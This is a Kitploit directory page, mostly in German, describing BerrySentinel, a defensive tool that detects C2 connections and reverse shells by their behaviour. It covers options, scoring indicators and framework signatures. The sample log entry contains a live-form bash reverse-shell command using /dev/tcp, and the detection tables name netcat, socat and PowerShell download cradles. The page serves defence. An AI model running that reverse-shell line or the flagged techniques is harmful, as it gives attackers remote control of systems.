Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
BerrySentinel — Berry Sentinel v5.0 — Fortschrittlicher verhaltensbasierter C2- und Reverse-Shell-Erkenner für Linux/Windows/Unix-Systeme. Bietet Echtzeit-Verbindungsanalyse, heuristisches Scoring, C2-Framework-Signaturerkennung, Beacon-Intervall-Analyse und eine interaktive curses-basierte TUI mit Prozess-Kill-Engine. | Kitploit
Tools/GitHubGitHub/dereeqw/berrysentinel
DefensivwerkzeugeNetzwerksicherheitMalware-AnalysePenetrationstestsCommand and ControlBedrohungsanalyseEinbruchserkennungRed TeamingIncident ResponseAnomalieerkennungLog-Analyse
13vor 5 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
GitHub
dereeqw/berrysentinel

BerrySentinel

Repository anzeigen

Über

Berry Sentinel v5.0 — Fortschrittlicher verhaltensbasierter C2- und Reverse-Shell-Erkenner für Linux/Windows/Unix-Systeme. Bietet Echtzeit-Verbindungsanalyse, heuristisches Scoring, C2-Framework-Signaturerkennung, Beacon-Intervall-Analyse und eine interaktive curses-basierte TUI mit Prozess-Kill-Engine.

Teilen

🫐 Berry Sentinel

Verhaltensbasierter Echtzeit-Detektor für C2-Verbindungen (Command & Control)

Zero-signature · Bulletproof Collection · Deep Scan · Kill Engine

Python 3.8+ Platform License: MIT


Was ist das?

Berry Sentinel überwacht alle aktiven Netzwerkverbindungen auf Ihrem System und analysiert das Verhalten der Prozesse, die sie erzeugen, um bösartige Aktivitäten zu erkennen – ohne Verwendung von Antiviren-Signaturdatenbanken oder gesperrten IP-Listen.

Er erkennt Reverse Shells, Webshells, RATs, C2-Beacons und Frameworks wie Meterpreter, Cobalt Strike, Sliver oder Empire, indem er beobachtet, wie sich ein Prozess verhält: Wenn ein Python-Interpreter seine stdin mit einem entfernten Socket verbunden hat, ist das verdächtig, auch wenn die IP unbekannt ist.

root@kitploit:~
╔══════════════════════════════════════════════════════════════════════════════════╗
║  BERRY SENTINEL v5.0 — Verhaltensbasierter C2-Detektor · Interaktive TUI                                 ║
║  Verbindungen: 38 │ Bedrohungen: 2 │ Signaturen: 1 │ via proc/open+ss │ 12ms │ #47                       ║
╠══════════════════════════════════════════════════════════════════════════════════╣
║ ID  SEV      PTS   PID    PROC    REMOTE                STATUS  SIGNATUREN/TAGS                     ║
╠══════════════════════════════════════════════════════════════════════════════════╣
║  3  █KRITISCH  85   1337   bash    1.2.3.4:4444   ESTAB  ⚑Meterpreter SHELL→NET.                ║
║  7  ▲HOCH     52   2048   python3 5.6.7.8:8443   ESTAB  TLS-NOBR BCN(60s)                      ║
╚══════════════════════════════════════════════════════════════════════════════════╝

Funktionen

  • Interaktive TUI mit curses: Navigation ↑↓, Verbindungsdetails, integrierte Kill-Engine
  • Reine Verhaltensanalyse: ohne AV-Signaturen, ohne IP-Blacklists
  • Beacon-Erkennung: identifiziert C2-Verbindungen anhand ihrer regelmäßigen Intervalle (Cobalt Strike ~60s, Empire ~5s, etc.)
  • 14+ erkannte C2-Frameworks: Meterpreter, Cobalt Strike, Sliver, Empire, Havoc, Brute Ratel, Pupy, Merlin, Covenant, Mythic...
  • Deep Scan (mit root): analysiert Prozessspeicher, RWX-Regionen, Umgebungsvariablen, vom Datenträger gelöschte ausführbare Dateien
  • Bulletproof Collection: verwendet 5 parallele Sammelmethoden (/proc/net, ss, netstat, psutil, lsof) mit automatischer Deduplizierung
  • Plattformübergreifend: Linux, macOS, Windows, Android/Termux
  • JSON- und Log-Export: Warnungen im JSONL-Format, kompatibel mit jq, ELK, Splunk
  • Whitelist: ignorieren vertrauenswürdiger IPs oder Netze per CIDR
  • Null Abhängigkeiten im Basismodus (nur stdlib); psutil optional für zusätzliche Abdeckung

Installation

root@kitploit:~
# Clonar el repositorio
git clone https://github.com/dereeqw/BerrySentinel.git
cd BerrySentinel 

# (Opcional pero recomendado) instalar psutil
pip install psutil

# Ejecutar
python3 BerrySentinel.py

Android / Termux

root@kitploit:~
pkg install python
pip install psutil
python3 BerrySentinel.py --no-tui  # curses puede no estar disponible en Termux

Ohne Installation (One-Liner)

root@kitploit:~
curl -O https://raw.githubusercontent.com/dereeqw/BerrySentinel/main/BerrySentinel.py
python3 BerrySentinel.py

Verwendung

root@kitploit:~
python3 BerrySentinel.py [opciones]

Optionen:
  --all, -a           Lokale/Loopback-Verbindungen einbeziehen (zusätzlich zu entfernten)
  --interval N, -i N  Aktualisierung alle N Sekunden (Standard: 2, min: 0,5)
  --log FILE, -l FILE Warnungen in Datei speichern (JSONL-Format)
  --json, -j          Vollständiges JSON beim Beenden exportieren
  --whitelist LISTE   Zu ignorierende IPs oder CIDRs, durch Komma getrennt
  --no-color          Keine ANSI-Farben (nützlich für Pipes oder Logs)
  --verbose, -v       Alle Verbindungen anzeigen, nicht nur verdächtige
  --top N, -t N       Maximale Zeilen in der Tabelle (Standard: 50)
  --diag, -d          Diagnose: zeigt, welche Sammelmethoden funktionieren
  --no-tui            Legacy-Modus ohne curses (klassisches Scrollen, portabler)
  --version, -V       Version anzeigen und beenden

Beispiele

root@kitploit:~
# Interaktive TUI — empfohlener Modus
python3 BerrySentinel.py

# Deep Scan mit root (greift auf Prozessspeicher zu)
sudo python3 BerrySentinel.py --all

# Warnungen speichern und JSON beim Beenden exportieren
python3 BerrySentinel.py --log /var/log/sentinel.log --json

# Internes Netz ignorieren und alle 5 Sekunden aktualisieren
python3 BerrySentinel.py --whitelist 192.168.0.0/16,10.0.0.0/8 --interval 5

# Textmodus zur Verwendung in Skripten oder per SSH ohne interaktives Terminal
python3 BerrySentinel.py --no-tui --no-color | tee monitoring.txt

# Anzeigen, welche Sammelmethoden auf dem aktuellen System funktionieren
python3 BerrySentinel.py --diag --no-tui

# Nur schwerwiegende Warnungen, Aktualisierung alle 10 Sekunden, Log speichern
sudo python3 BerrySentinel.py --all --interval 10 --log sentinel.log --json

Tastaturkürzel der interaktiven TUI


Bewertungssystem

Jede Verbindung erhält einen Score von 0 bis 100 basierend auf den erkannten Indikatoren:

Schweregrad nach Score:


Erkannte C2-Frameworks

Berry Sentinel enthält Signaturen für die folgenden Frameworks (Bewertung nach Ports, Prozessname, Befehlszeile und Beacon-Mustern):


Log-Format (JSONL)

Jede Warnung wird als separate JSON-Zeile aufgezeichnet:

root@kitploit:~
{
  "ts": "2025-07-15T14:23:01.123456",
  "id": 42,
  "sev": "CRÍTICO",
  "score": 85.0,
  "pid": 1337,
  "name": "bash",
  "cmd": "bash -i >& /dev/tcp/1.2.3.4/4444 0>&1",
  "remote": "1.2.3.4:4444",
  "local": "192.168.1.10:52341",
  "state": "ESTABLISHED",
  "tags": ["SHELL→NET", "PIPE-REDIR", "C2P(4444)"],
  "sigs": ["Meterpreter"],
  "src": "proc/open(self)+ss+netstat"
}

Procesar con jq:

root@kitploit:~
# Filtrar solo conexiones críticas
jq 'select(.sev == "CRÍTICO")' sentinel.log

# Ver todos los PIDs sospechosos
jq '[.pid] | unique' sentinel_export.json

# Buscar por firma específica
jq 'select(.sigs | contains(["CobaltStrike"]))' sentinel.log

Architektur

root@kitploit:~
BerrySentinel.py
├── Globale Konstanten
│   ├── SHELL_BINS, SCRIPT_ENGINES  — Namen von Shells und Interpretern
│   ├── C2_SUSPECT_PORTS            — Typische C2-Ports
│   ├── PRIVATE_NETS                — Private IP-Bereiche
│   └── C2_SIGNATURES               — Signaturen bekannter Frameworks
│
├── Datenmodelle
│   ├── C2Signature   — Definition einer C2-Signatur
│   ├── ProcInfo      — Betriebssystem-Prozessinfo
│   ├── Conn          — Netzwerkverbindung + Analyseergebnis
│   └── BeaconTracker — Erkennung von C2-Beacons
│
├── Datensammlung
│   ├── Collector     — Orchestriert mehrere Netzwerkquellen
│   ├── parse_proc_net_content() — Parser für /proc/net/*
│   ├── build_inode_pid_map()    — Inode→PID-Zuordnung
│   ├── get_proc_info()          — Prozessinfo via /proc
│   └── get_proc_info_psutil()   — Prozessinfo via psutil
│
├── Analyse
│   ├── Engine.analyze()    — Score + Verhaltenstags
│   ├── Engine._beacon()    — Beacon-Erkennung
│   └── match_signatures()  — Abgleich von C2-Signaturen
│
├── Ausgabe
│   ├── CursesTUI   — Interaktive TUI (Standardmodus)
│   ├── LegacyTUI   — ANSI-Ausgabe ohne curses (Fallback)
│   └── Logger      — JSONL-Log auf Datenträger
│
└── Sentinel        — Hauptorchestrator

Anforderungen

  • Python 3.8+
  • psutil — optional, aber sehr empfohlen (pip install psutil)

Ohne zusätzliche Abhängigkeiten funktioniert das Tool mit der Python-Standardbibliothek. psutil erweitert die Abdeckung auf macOS und Windows, wo /proc nicht existiert.


Plattformen


Anpassung

Eigene C2-Signatur hinzufügen

root@kitploit:~
from BerrySentinel import C2Signature, C2_SIGNATURES

mi_rat = C2Signature(
    name="MiRAT",
    description="Nicht autorisierte interne Unternehmens-RAT",
    score_bonus=70,
    checks=[
        {"type": "port", "value": 6543},
        {"type": "cmdline", "value": r"mi_rat\.py|rat_agent"},
        {"type": "procname", "value": r"^mi_rat$"},
    ],
)
C2_SIGNATURES.append(mi_rat)

Als Bibliothek in einem Skript verwenden

root@kitploit:~
import argparse
from BerrySentinel import Sentinel, Sev

args = argparse.Namespace(
    all=True, interval=10, log=None, json=False,
    whitelist="192.168.0.0/16", no_color=True,
    verbose=False, top=100, diag=False, no_tui=True
)

s = Sentinel(args)
s._cycle_data()

for conn in s.last_conns:
    if conn.severity >= Sev.HIGH:
        proc = conn.proc
        print(f"[WARNUNG] PID {conn.pid} ({proc.name if proc else '?'}) "
              f"→ {conn.remote_addr}:{conn.remote_port} "
              f"score={conn.score:.0f} tags={conn.tags}")

Eigene Analyse-Engine

root@kitploit:~
from BerrySentinel import Engine, Conn, Sev

class MiEngine(Engine):
    KNOWN_C2_IPS = {"203.0.113.1", "198.51.100.42"}

    def analyze(self, c: Conn) -> Conn:
        c = super().analyze(c)
        # Eigene Logik hinzufügen
        if c.remote_addr in self.KNOWN_C2_IPS:
            c.score = min(c.score + 40, 100)
            c.tags.append("KNOWN-IOC-IP")
            c.severity = Sev.CRITICAL
        return c

Hinweis zur verantwortungsvollen Nutzung

Berry Sentinel wurde entwickelt, um Ihr eigenes System oder Systeme zu überwachen, für die Sie ausdrücklich autorisiert sind. Die Kill-Engine wird nur aktiv, wenn der Benutzer es explizit anfordert. Verwenden Sie es verantwortungsvoll und in Übereinstimmung mit den geltenden Gesetzen in Ihrer Gerichtsbarkeit.


Lizenz

MIT — siehe LICENSE

Tool herunterladen
TasteAktion
↑ / ↓Zwischen Verbindungen navigieren
d / DDetailbereich der ausgewählten Verbindung anzeigen
k / KProzess beenden (fragt nach PID-Bestätigung)
f / FSchweregradfilter durchlaufen: ALLE → MITTEL → HOCH → KRITISCH
rSofortige Aktualisierung erzwingen
ESCDetailbereich schließen oder Vorgang abbrechen
qBeenden
IndikatorPunkteTag
stdin/stdout → Socket+55FD→SOCK
Shell-Binärdatei mit entfernter Verbindung+40SHELL→NET
Webshell (Shell als Kind von Apache/Nginx)+35WEBSHELL
Bind-Shell auf hohem Port+35BIND-SHELL
Verwendung von netcat/socat+35NETCAT
Umleitung /dev/tcp oder mkfifo+40PIPE-REDIR
Ausführbare Datei von Festplatte gelöscht+25EXE-DEL!
Ausführbare Datei in /tmp oder /dev/shm+15EXE-TMP
Beacon erkannt (zyklische Verbindung)+25×confBCN(60s)
Signatur Meterpreter+55SIG:Meterpreter
Signatur Cobalt Strike+60SIG:CobaltStrike
Signatur Sliver+58SIG:Sliver
RWX-Speicherregionen+20RWX(N)
LD_PRELOAD oder HISTFILE=/dev/null+10ENV:LD_PRELOAD
Skriptinterpreter verbunden+25INTERP→NET
eval/exec in der Befehlszeile+18EVAL
Remote PowerShell (IEX, DownloadString)+30PS-REM
ScoreSchweregradFarbe
≥ 65KRITISCH🔴 Helles Rot
≥ 45HOCH🟠 Orange
≥ 25MITTEL🟡 Gelb
≥ 8NIEDRIG🔵 Cyan
< 8INFO⚪ Grau
FrameworkScore-BonusWichtige Indikatoren
Meterpreter+55Port 4444, Prozess ruby/msfconsole
Cobalt Strike+60Port 50050, Beacon ~60s, Prozess java
Sliver+58Port 31337/8888, Beacon ~60s
Empire+55Port 1234/7777, PowerShell -enc
Brute Ratel+62Port 2083, Prozess badger
Havoc+58Port 40056, demon.x64/x86
Pupy RAT+52Port 9999, pupy.py
Merlin+54Port 8443, merlin-agent
Covenant+54Port 7443, GruntHTTP
PoshC2+52FComServer, ImplantCore
Mythic+56Port 7443, poseidon/apfell
QuasarRAT+50Port 4782-4785
NetcatShell+45socat exec bash, pty
DNS-C2+40Port 53, dnscat/iodine
SystemUnterstützungHinweise
Linux✅ VollständigMit root aktiviert Deep Scan
Android/Termux✅ VollständigVerwenden Sie --no-tui, wenn curses fehlschlägt
macOS⚠️ TeilweiseKein /proc; verwendet netstat+psutil
Windows⚠️ Teilweisenetstat+psutil, keine Speicheranalyse